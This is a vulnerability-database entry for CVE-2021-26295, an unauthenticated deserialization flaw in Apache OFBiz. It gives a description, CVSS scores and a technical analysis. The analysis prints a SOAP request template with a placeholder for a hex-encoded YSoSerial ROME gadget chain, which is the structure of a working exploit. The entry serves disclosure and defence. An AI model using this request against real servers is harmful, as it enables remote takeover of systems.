Attacker Value
High
CVE-2021-26295
CVE-2021-26295
(Last updated March 26, 2021) ▾
MITRE ATT&CK
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Metasploit Module
Description
Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.
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4
Technical Analysis
This vulnerability is pretty straightforward to exploit. It is due to an unauthenticated SOAP interface in the Apache OFBiz application that accepts and deserializes an arbitrary Java object. This can be leveraged by an attacker to submit a payload to the server that after being deserialized will result in a command being executed. The YSoSerial ROME gadget chain can be used for this purpose.
The serialized object is encoded in hex and placed within the cus-obj XML node of the SOAP request:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ser>
<map-HashMap>
<map-Entry>
<map-Key>
<cus-obj>$hexGadgetChain</cus-obj>
</map-Key>
<map-Value>
<std-String value="http://example.com"/>
</map-Value>
</map-Entry>
</map-HashMap>
</ser>
</soapenv:Body>
</soapenv:Envelope>
This was taken from a PoC which was credited in the Metasploit exploit module.
CVSS V3 Severity and Metrics
Data provided by the National Vulnerability Database (NVD)
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High
General Information
Vendors
- Apache Software Foundation
Products
- Apache OFBiz
Metasploit Modules
References
Advisory
